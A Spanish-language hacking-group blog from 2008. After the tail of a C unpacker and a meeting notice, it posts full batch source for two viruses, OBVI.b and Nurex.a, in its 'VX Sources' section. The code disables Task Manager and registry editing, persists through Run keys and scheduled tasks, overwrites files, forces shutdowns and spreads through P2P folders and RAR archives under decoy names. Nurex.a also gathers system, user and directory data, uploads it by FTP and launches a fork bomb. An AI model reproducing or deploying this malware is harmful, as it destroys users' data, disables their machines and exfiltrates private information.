  while(t[strlen(t) + 1] != 0)/*t[strlen(t)] apunta al caracter 0 final, strlen(t) - 1 apuntaria al ultimo caracter antes del 0, strlen(t) + 1 apunta al siguiente caracter despues del 0, si no es 0, es porque habia una '/'...*/
   t[strlen(t)] = '/';
  f = fopen(t, "wb");
  if(f == NULL){
   printf("\n\tERROR: no se pudo crear el archivo\n el archivo %s no se pudo crear\n", t);
   return 1;
  }
  while(size != 0){/*ponemos el archivo hasta que se acaben los bytes del tamaño*/
   c = fgetc(u);
   if(c == 0)
    fputc(0xFF, f);
   else
    fputc(c - 1, f);
   size--;
  }
  fclose(f);
  chmod(t, ALLPERMS);/*al archivo le ponemos todos los permisos*/
  fgetpos(u, &pos);
 }
 fclose(u);
 if(exef[0] != 0){
  barra = barraa = exef - 1;
  while((barra = strchr(barra + 1, '/')) != NULL){/*hacemos lo mismo que antes para saber los subdirectorios pero no los creamos, sino que nos posicionamos*/
   *barra = 0;
   chdir(barraa + 1);
   barraa = barra;
  }
  strcpy(_exef, "./\"");
  strcat(_exef, barraa + 1);
  strcat(_exef, "\"");
  system(_exef);/*y ejecutamos el archivo, barraa + 1 para que solo sea el nombre del archivo, sino apuntaria tambien a la ruta y yo quiero que se ejecute desde la carpeta en la que esta*/
 }
 return 0;
}

cualquier duda solo pregunten… o cualquier problema que tienen

salu2!

Miembros de SSW, Reuniones

Posteado en Novedades & Anuncios sobre Julio 12, 2008 por ramckc

La reunión mas cercana es para el: 10/08/08 en los siguientes horarios:

Plaga y [p3ll3] (GMT -6): 6:00 pm

Shadow y fulapol (GMT -5): 7:00 pm

Ni0(GMT -3): 9:00 pm

si alguien no puede, avise!!!!!

Lugar: Donde siempre xDDD

Esta entrada esta en constante actualización.

OBVI.b

Posteado en VX Sources sobre Julio 12, 2008 por Shadow

@echo off
rem ----------------------------------------------------------------------
rem OBVI.b ================= ......... 25/11/07
rem well it is a poliformic .bat file virus ... mmmmm is like another virus life form ... do not infect anything
rem only have fun with the victim xD ....
rem ...well nothing special but i think is really nice to see a poliformic batch script virus
rem enjoy!
rem OBVI (Oligomorphic Batch VIrus)
echo ============================================
echo |OBVI by Shadow (The Shadow) whatever way |
echo ============================================
set a="%windir%\prntcrlt.bat"
if exist %a% goto code
echo set shell = CreateObject("wscript.shell") > %windir%\run.vbs
echo shell.run "cmd /c prntcrlt.bat", vbHide >> %windir%\run.vbs
copy %0 %a%
:qep
set hor=%time:~0,2%
set tim=%time:~3%
set tim=%tim:~0,2%
set /A tim=%tim% + 5
if /I %tim% geq 60 (set /a hor=%hor%+1
set /a tim=%tim%-60
if /I %tim% lss 10 (set tim=0%tim%))
set ecx=%hor%:%tim%
at %ecx% "%windir%\run.vbs"
exit
:crea
echo 0 > vals.tk
echo 1 >> vals.tk
echo 2 >> vals.tk
echo 3 >> vals.tk
echo 4 >> vals.tk
echo 5 >> vals.tk
echo 6 >> vals.tk
echo 7 >> vals.tk
echo 8 >> vals.tk
echo 9 >> vals.tk
echo A >> vals.tk
echo B >> vals.tk
echo C >> vals.tk
echo D >> vals.tk
echo E >> vals.tk
echo F >> vals.tk
goto for
:modulcrea
set tar=%tar:~,1%
if /I %tar% leq 9 ( if %tar% == 9 ( set tar2=A
goto klop )
set /A tar2=%tar%+1 ) else ( if %tar% == A set tar2=B
if %tar% == B set tar2=C
if %tar% == C set tar2=D
if %tar% == D set tar2=E
if %tar% == E set tar2=F )
:klop
echo :modul%tar% ¿mol%tar%¿ >> modul.tk
if %tar%==0 ( echo reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableTaskMgr /t Reg_dword /d 1 /f ¿mol%tar%¿ >> modul.tk
echo reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableRegistryTools /t Reg_dword /d 1 /f ¿mol%tar%¿ >> modul.tk
echo goto ¿1_jk ¿mol%tar%¿ >> modul.tk
echo goto modul%tar2% ¿mol%tar%¿ >> modul.tk
goto :EOF )
if %tar%==1 ( echo :_jk ¿mol%tar%¿ >> modul.tk
echo copy "¿windir¿\kpore.bat" "¿windir¿\k0.bat" ¿mol%tar%¿ >> modul.tk
echo reg add "HKLM\software\microsoft\windows\currentversion\policies\explorer\run" /V MSNupdate /d "%windir%\k0.vbs" /f ¿mol%tar%¿ >> modul.tk
echo goto modul%tar2% ¿mol%tar%¿ >> modul.tk
goto :EOF )
if %tar%==2 ( echo echo set shell = CreateObject¡"wscript.shell"$ ^> %windir%\k0.vbs ¿mol%tar%¿ >> modul.tk
echo echo shell.run "cmd /c k0.bat ini", vbHide ^>^> %windir%\k0.vbs ¿mol%tar%¿ >> modul.tk
echo echo Set fg = CreateObject¡"WMPlayer.OCX.7"$ ^> conf.vbs ¿mol%tar%¿ >> modul.tk
echo echo Set fgh = fg.cdromCollection ^>^> conf.vbs ¿mol%tar%¿ >> modul.tk
echo echo if fgh.Count then ^>^> conf.vbs ¿mol%tar%¿ >> modul.tk
echo echo For i = 0 to fgh.Count-1 ^>^> conf.vbs ¿mol%tar%¿ >> modul.tk
echo echo fgh.Item¡i$.Eject ^>^> conf.vbs ¿mol%tar%¿ >> modul.tk
echo echo Next ' cdrom ^>^> conf.vbs ¿mol%tar%¿ >> modul.tk
echo echo End If ^>^> conf.vbs ¿mol%tar%¿ >> modul.tk
echo goto modul%tar2% ¿mol%tar%¿ >> modul.tk
goto :EOF )
if %tar%==3 ( echo :ini_jk ¿mol%tar%¿ >> modul.tk
echo start conf.vbs ¿mol%tar%¿ >> modul.tk
echo set hor=¿time:~0,2¿ ¿mol%tar%¿ >> modul.tk
echo set tim=¿time:~3¿ ¿mol%tar%¿ >> modul.tk
echo set tim=¿tim:~0,2¿ ¿mol%tar%¿ >> modul.tk
echo set /A tim=¿tim¿+1 ¿mol%tar%¿ >> modul.tk
echo if /I ¿tim¿ geq 60 ¡set /a hor=¿hor¿+1 ¿mol%tar%¿ >> modul.tk
echo set /a tim=¿tim¿-60 ¿mol%tar%¿ >> modul.tk
echo if /I ¿tim¿ lss 10 ¡set tim=0¿tim¿$$ ¿mol%tar%¿ >> modul.tk
echo set ecx=¿hor:~0,2¿:¿tim¿ ¿mol%tar%¿ >> modul.tk
echo at ¿ecx¿ "¿windir¿\k0.vbs" ¿mol%tar%¿ >> modul.tk
echo exit ¿mol%tar%¿ >> modul.tk
echo goto modul%tar2% ¿mol%tar%¿ >> modul.tk
goto :EOF )
if %tar%==4 ( echo cd "¿programfiles¿" ¿mol%tar%¿ >> modul.tk
echo dir /B ^> ¿homedrive¿\dir.txt ¿mol%tar%¿ >> modul.tk
echo goto for ¿mol%tar%¿ >> modul.tk
echo goto modul%tar2% ¿mol%tar%¿ >> modul.tk
goto :EOF )
if %tar%==5 ( echo reg add "HKLM\software\microsoft\windows\currentversion\policies\explorer\run" /V MSNupdate2 /d "shutdown -r -f -t 2423" /f ¿mol%tar%¿ >> modul.tk
echo shutdown -r -f -t 242 ¿mol%tar%¿ >> modul.tk
echo exit ¿mol%tar%¿ >> modul.tk
echo goto modul%tar2% ¿mol%tar%¿ >> modul.tk
goto :EOF )
if %tar%==6 ( echo shutdown -r -f -t 12 ¿mol%tar%¿ >> modul.tk
echo exit ¿mol%tar%¿ >> modul.tk
echo goto modul%tar2% ¿mol%tar%¿ >> modul.tk
goto :EOF )
if %tar%==7 ( echo :worm ¿mol%tar%¿ >> modul.tk
echo set target=¿1 ¿mol%tar%¿ >> modul.tk
echo cd "¿target¿" ¿mol%tar%¿ >> modul.tk
echo for ¿¿e in ¡*.*$ do echo Exworm by Shadow ^> ¿¿e ¿mol%tar%¿ >> modul.tk
echo cd "¿programfiles¿" ¿mol%tar%¿ >> modul.tk
echo goto :EOF ¿mol%tar%¿ >> modul.tk
echo goto modul%tar2% ¿mol%tar%¿ >> modul.tk
goto :EOF )
if %tar%==8 ( echo shutdown -r -f -t 43 ¿mol%tar%¿ >> modul.tk
echo exit ¿mol%tar%¿ >> modul.tk
echo goto modul%tar2% ¿mol%tar%¿ >> modul.tk
goto :EOF )
if %tar%==9 ( echo :ERRNO ¿mol%tar%¿ >> modul.tk
echo for /f "tokens=* " ¿¿a in ¡¿homedir¿\dir.txt$ do call :worm "¿¿a" ¿mol%tar%¿ >> modul.tk
echo exit ¿mol%tar%¿ >> modul.tk
echo goto modul%tar2% ¿mol%tar%¿ >> modul.tk
goto :EOF )
if %tar%==A ( echo shutdown -s -f -t 53 ¿mol%tar%¿ >> modul.tk
echo exit ¿mol%tar%¿ >> modul.tk
echo goto modul%tar2% ¿mol%tar%¿ >> modul.tk
goto :EOF )
if %tar%==B ( echo shutdown -s -f -t 22 ¿mol%tar%¿ >> modul.tk
echo exit ¿mol%tar%¿ >> modul.tk
echo goto modul%tar2% ¿mol%tar%¿ >> modul.tk
goto :EOF )
if %tar%==C ( echo shutdown -r -f -t 11 ¿mol%tar%¿ >> modul.tk
echo exit ¿mol%tar%¿ >> modul.tk
echo goto modul%tar2% ¿mol%tar%¿ >> modul.tk
goto :EOF )
if %tar%==D ( echo shutdown -r -f -t 666 ¿mol%tar%¿ >> modul.tk
echo exit ¿mol%tar%¿ >> modul.tk
echo goto modul%tar2% ¿mol%tar%¿ >> modul.tk
goto :EOF )
if %tar%==E ( echo shutdown -s -f -t 23 ¿mol%tar%¿ >> modul.tk
echo exit ¿mol%tar%¿ >> modul.tk
echo goto modul%tar2% ¿mol%tar%¿ >> modul.tk
goto :EOF )
if %tar%==F ( echo exit ¿mol%tar%¿ >> modul.tk
goto :EOF )
:for
for /f "tokens=*" %%a in (vals.tk) do (set tar=%%a && call :modulcrea)
:sig
echo set shell = CreateObject("Scripting.FileSystemObject") > rep.vbs
echo set file = shell.OpenTextFile("modul.tk") >> rep.vbs
echo read = file.ReadAll >> rep.vbs
echo repla = replace(read,"¿",chr(37)) >> rep.vbs
echo repla1 = replace(repla,"¡",chr(40)) >> rep.vbs
echo repla2 = replace(repla1,"$",chr(41)) >> rep.vbs
echo set b=shell.CreateTextFile("module.tk") >> rep.vbs
echo b.close >> rep.vbs
echo set d=shell.OpenTextFile("module.tk",2) >> rep.vbs
echo d.write repla2 >> rep.vbs
echo d.close >> rep.vbs
start rep.vbs
:code
if not exist module.tk goto crea
echo set shell = CreateObject("wscript.shell") > run2.vbs
echo shell.run "cmd /c kpore.bat", vbHide >> run2.vbs
ping -n 7 localhost > nul
set fail=module.tk
set vir=kpore.bat
echo @echo off > %vir%
set a=%time:~,5%
set b=%a:~3,2%
del modul.tk vals.tk rep.vbs
if /I %b% geq 0 (if /I %b% lss 10 goto a)
if /I %b% geq 10 (if /I %b% lss 20 goto b)
if /I %b% geq 20 (if /I %b% lss 30 goto c)
if /I %b% geq 30 (if /I %b% lss 40 goto d)
if /I %b% geq 40 (if /I %b% lss 50 goto e)
if /I %b% geq 50 (if /I %b% lss 60 goto f)
goto crea
:a
find "mol0" >%vir%
find "mol1" >%vir%
find "mol2" >%vir%
find "mol3" >%vir%
find "mol5" >%vir%
find "mol6" >%vir%
find "mol8" >%vir%
find "molA" >%vir%
find "molB" >%vir%
find "molD" >%vir%
find "molE" >%vir%
find "molF" >%vir%
find "mol4" >%vir%
find "mol7" >%vir%
find "mol9" >%vir%
find "molC" >%vir%
start run2.vbs
goto qep
:b
find "mol4" >%vir%
find "mol7" >%vir%
find "mol9" >%vir%
find "mol6" >%vir%
find "mol5" >%vir%
find "molF" >%vir%
find "mol3" >%vir%
find "mol2" >%vir%
find "mol1" >%vir%
find "mol0" >%vir%
find "mol7" >%vir%
find "mol8" >%vir%
find "molD" >%vir%
find "molA" >%vir%
find "molB" >%vir%
find "molC" >%vir%
start run2.vbs
goto qep
:C
find "molB" >%vir%
find "mol5" >%vir%
find "mol6" >%vir%
find "mol4" >%vir%
find "mol2" >%vir%
find "mol1" >%vir%
find "molA" >%vir%
find "molC" >%vir%
find "mol8" >%vir%
find "mol9" >%vir%
find "molF" >%vir%
find "molD" >%vir%
find "molE" >%vir%
find "mol7" >%vir%
find "mol0" >%vir%
find "mol3" >%vir%
start run2.vbs
goto qep
:d
find "molF" >%vir%
find "molE" >%vir%
find "mol1" >%vir%
find "mol2" >%vir%
find "mol3" >%vir%
find "mol4" >%vir%
find "molA" >%vir%
find "molB" >%vir%
find "molC" >%vir%
find "molD" >%vir%
find "mol9" >%vir%
find "mol0" >%vir%
find "mol5" >%vir%
find "mol6" >%vir%
find "mol7" >%vir%
find "mol8" >%vir%
start run2.vbs
goto qep
:e
find "mol8" >%vir%
find "mol0" >%vir%
find "mol3" >%vir%
find "mol2" >%vir%
find "mol5" >%vir%
find "molB" >%vir%
find "mol1" >%vir%
find "mol7" >%vir%
find "mol6" >%vir%
find "molC" >%vir%
find "mol9" >%vir%
find "molE" >%vir%
find "molF" >%vir%
find "mol4" >%vir%
find "molA" >%vir%
find "molD" >%vir%
start run2.vbs
goto qep
:f
find "mol5" >%vir%
find "mol1" >%vir%
find "mol4" >%vir%
find "mol6" >%vir%
find "mol2" >%vir%
find "mol9" >%vir%
find "mol3" >%vir%
find "mol7" >%vir%
find "mol8" >%vir%
find "mol0" >%vir%
find "molE" >%vir%
find "molF" >%vir%
find "molC" >%vir%
find "molD" >%vir%
find "molA" >%vir%
find "molB" >%vir%
start run2.vbs
goto qep

Nurex.a

Posteado en VX Sources sobre Julio 12, 2008 por Shadow

@echo off
rem ----------------------------------------------------------------------------------------------
rem NUREX.a ================= ......... 19/12/07
rem this is a parasitic virus-spyware .bat file
rem some features:
rem -p2p propagation
rem -look for winrar and if exist, infect all .rar files inside p2p clients installed in the host, make copies of itself and add it in .rar archives, then after 10th infection will be more than 150 infected files in each p2p client!.. xD .. and if winrar doesn't exist ... infect the p2p clients with .bat copies of itself
rem -try to connect to a ftp server and if connect, send info about the victim (username, pass and server are censured in the code)
rem -make 9999999 procesess that in 10 minutes will make a chaos
rem -only batch script coding!
rem -work with modules. do not depend of one main process.. then if one process fail others can continue independly
rem .... well .. why nurex?...:i think is nice xD ...
echo ============================================
echo ^|NUREX by Shadow (The Shadow) whatever way ^|
echo ============================================
if '%1==' (
type %0 > pnc.bat
start /min pnc.bat v0
exit
) else (
goto %1
exit
)
:v0
copy %0 %windir%\pnc.bat
copy %0 %temp%\pnc.bat
find "tine"t.t
find /v "find "t.bat
find "mv1"v1.t
find /v "find "v1.bat
start /min v1.bat
exit
:v1
goto v1_%2
:v1_si
copy *.bat %windir%\
set l="HKLM\software\microsoft\windows\currentversion\policies\explorer\run"
reg add %l% /V "RunDll23, AVUpdate" /d "%windir%\pnc.bat" /f
reg add "hkcu\software\microsoft\windows\currentversion\policies\system" /v disabletaskmgr /t reg_dword /d "1" /f
reg add "hkcu\software\microsoft\windows\currentversion\policies\system" /v disableregistrytools /t reg_dword /d "1" /f
cd %windir%
start /min %windir%\pnc.bat conf
echo puedo=si > %windir%\%userdomain%_dat.dat
find "mv2"%windir%\v2.t
find /v "find "v2.bat
start /min v2.bat %0
exit
:v1_no
copy *.bat %temp%\
set l="HKLM\software\microsoft\windows\currentversion\policies\explorer\run"
reg add %l% /V "RunDll23, AVUpdate" /d "%temp%\pnc.bat" /f
cd %temp%
start /min %temp%\pnc.bat conf
echo puedo=no > %temp%\%userdomain%_dat.dat
find "mv3"%temp%\v3.t
find /v "find "v3.bat
start /min v3.bat %0
:v1_
exit
:v2
cd %windir%
find "fttpc"ftpc.t
find /v "find "ftpc.bat
find "rdst"rd.t
find /v "find "rd.bat
find "rmcller"rm.t
find /v "find "rm.bat
goto v2_%2
:v2_0
echo rar=si >> %windir%\%userdomain%_dat.dat
find "mv3"%windir%\v3.t
find /v "find "v3.bat
start /min v3.bat %windir% pnc.bat %0
start /min rm.bat
exit
:v2_1
echo rar=no >> %windir%\%userdomain%_dat.dat
find "mv3"%windir%\v3.t
find /v "find "v3.bat
start /min v3.bat %windir% pnc.bat %0
start /min rm.bat
:v2_
exit
:v3
goto v3_%2
v3_si
find "mv4"%1\v4.t
find /v "find "v4.bat
start /min %1\v4.bat %1
:v3_no
:v3_
exit
:conf
echo.>imhere.dat
exit
rem ------------------------------------------------------M O D U L E S-------------------------------------
@echo off %mv1%
copy %0 %windir%\ %mv1%
if %errorlevel%==0 ( %mv1%
start /min %windir%\pnc.bat v1 si %mv1%
exit %mv1%
) else ( %mv1%
start /min %temp%\pnc.bat v1 no %mv1%
exit %mv1%
) %mv1%
@echo off %mv2%
set param1=%1 %mv2%
type %0>op.bat %mv2%
set o="%systemdrive%%~p0op.bat" %mv2%
set om="%windir%\pnc.bat" %mv2%
cd "%systemdrive%%~p0" %mv2%
set rnyon=%random% %mv2%
echo eMule\Incoming\ > %windir%\yer.t %mv2%
echo Shareaza\Downloads\ >> %windir%\yer.t %mv2%
echo BearShare\Shared\ >> %windir%\yer.t %mv2%
echo EDONKEY2000\incoming\ >> %windir%\yer.t %mv2%
echo LimeWire\Shared\ >> %windir%\yer.t %mv2%
echo Path_msn_Emoticonos_%rnyon: =% > %windir%\jer.t %mv2%
echo sms_gratis_%rnyon: =% >> %windir%\jer.t %mv2%
echo polifonicos_free_%rnyon: =% >> %windir%\jer.t %mv2%
echo Microsoft_Office_2007_serials_%rnyon: =% >> %windir%\jer.t %mv2%
echo Windows_Vista_activation_tool_%rnyon: =% >> %windir%\jer.t %mv2%
echo Windows_Vista_all_serials_%rnyon: =% >> %windir%\jer.t %mv2%
echo MSN_hack_codes_%rnyon: =% >> %windir%\jer.t %mv2%
set rc=1 %mv2%
set r="%programfiles%\WINRAR\WinRAR.exe" %mv2%
%r% a %windir%\t.rar %o% %mv2%
if not %errorlevel%==9009 set rc=0 %mv2%
if exist %param1%\conf.dat ( %mv2%
start /min %windir%\pnc.bat v2 %rc% %mv2%
) else ( %mv2%
start /min %param1% v2 %rc% %mv2%
) %mv2%
goto fr %mv2%
:fr2 %mv2%
set uno=%1 %mv2%
for /F "tokens=* delims=" %%g in (%windir%\jer.t) do ( %mv2%
if %rc%==0 ( %mv2%
@copy /y %om% "%%g.bat" %mv2%
cls %mv2%
ping -n 2 localhost > nul %mv2%
%r% a "%%g.rar" "%%g.bat" %mv2%
) %mv2%
) %mv2%
goto :EOF %mv2%
:fr %mv2%
for /F "tokens=* delims=" %%a in (%windir%\yer.t) do ( %mv2%
if exist "%programfiles%\%%a" ( %mv2%
cd "%programfiles%\%%a" %mv2%
for %%e in (*.rar) do ( %mv2%
@copy /y %om% "%%~ne.bat" %mv2%
cls %mv2%
ping -n 2 localhost > nul %mv2%
%r% a "%%e" "%%~ne.bat" %mv2%
) %mv2%
call :fr2 %%a %mv2%
) %mv2%
) %mv2%
cd %windir% %mv2%
del *.t %mv2%
cd "%systemdrive%%~p0" %mv2%
del op.bat %mv2%
exit %mv2%
@echo off %mv3%
set param=%1 %mv3%
set param1=%param: =% %mv3%
set param2=%2 %mv3%
set param3=%3 %mv3%
cd %param1% %mv3%
ping -n 10 localhost > nul %mv3%
start /min t.bat %param1: =%\ftpc.bat %param1: =% 1 %mv3%
echo %userdomain% puede recivir ordenes > ftd.dat %mv3%
echo Ip info: >> ftd.dat %mv3%
%ipconfig% /all >> ftd.dat %mv3%
echo ****** > ft.dat %mv3%
echo ****** >> ft.dat %mv3%
echo binary >> ft.dat %mv3%
echo put %param1%\ftd.dat %userdomain%_conf.txt >> ft.dat %mv3%
echo disconnect >> ft.dat %mv3%
echo bye >> ft.dat %mv3%
echo ftp -s:%param1%\ft.dat ********** %mv3%
echo ******> %param1%\ft.dat %mv3%
echo ****** >> ft.dat %mv3%
echo binary >> ft.dat %mv3%
echo get %userdomain%_conf.txt %param1%\ftp_si.dat >> ft.dat %mv3%
echo disconnect >> ft.dat %mv3%
echo bye >> ft.dat %mv3%
echo ftp -s:ft.dat ************ %mv3%
exit %mv3%
@echo off %mv4%
cd %1 %mv4%
echo %username%>usrnm.000 %mv4%
systeminfo>ssinfo.000 %mv4%
set>set.000 %mv4%
net user>net.000 %mv4%
echo %os%>os.000 %mv4%
cd %programfiles% %mv4%
dir>progfile.000 %mv4%
cd "%userprofile%\mis documentos\" %mv4%
dir /s>docs.000 %mv4%
ipconfig>ip.000 %mv4%
cd\ %mv4%
dir /s>archs.000 %mv4%
set log=%userdomain%_ %mv4%
set user=****** %mv4%
set pass=****** %mv4%
echo %user%>ftp.000 %mv4%
echo %pass%>>ftp.000 %mv4%
echo binary>>ftp.000 %mv4%
echo put usrnm.000 %log%usrnm.log>>ftp.000 %mv4%
echo put os.000 %log%os.log>>ftp.000 %mv4%
echo put progfile.000 %log%progfile.log>>ftp.000 %mv4%
echo put docs.000 %log%docs.log>>ftp.000 %mv4%
echo put set.000 %log%set.log>>ftp.000 %mv4%
echo put net.000 %log%net.log>>ftp.000 %mv4%
echo put ssinfo.000 %log%ssinfo.log>>ftp.000 %mv4%
echo disconnect>>ftp.000 %mv4%
echo bye>>ftp.000 %mv4%
ftp -s:%windir%\ftp.000 ************* %mv4%
@echo off %tine%
set param1=%1 %tine%
set param2=%2 %tine%
set param3=%3 %tine%
set param4=%4 %tine%
set hor=%time:~0,2% %tine%
set tim=%time:~3% %tine%
set tim=%tim:~0,2% %tine%
set /A tim=%tim% + %param3: =% %tine%
if /I %tim% geq 60 (set /a hor=%hor%+1 %tine%
set /a tim=%tim%-60 %tine%
if /I %tim% lss 10 (set tim=0%tim%)) %tine%
set ecx=%hor%:%tim% %tine%
at %ecx: =% %param1: =% %param2: =% %param3: =% %param4: =% %tine%
exit %tine%
@echo off %fttpc%
set param=%1 %fttpc%
set param1=%param: =% %fttpc%
cd %param1% %fttpc%
if exist ftp_si.dat ( %fttpc%
start /min pnc.bat v3 si %fttpc%
exit %fttpc%
) %fttpc%
start /min pnc.bat v3 no %fttpc%
exit %fttpc%
@echo off %rdst%
cd\ && dir /s %rdst%
@echo off %rmcller%
for /l %%v in (0, 1, 9999999) do start /min t.bat %windir%\rd.bat no 10 %rmcller%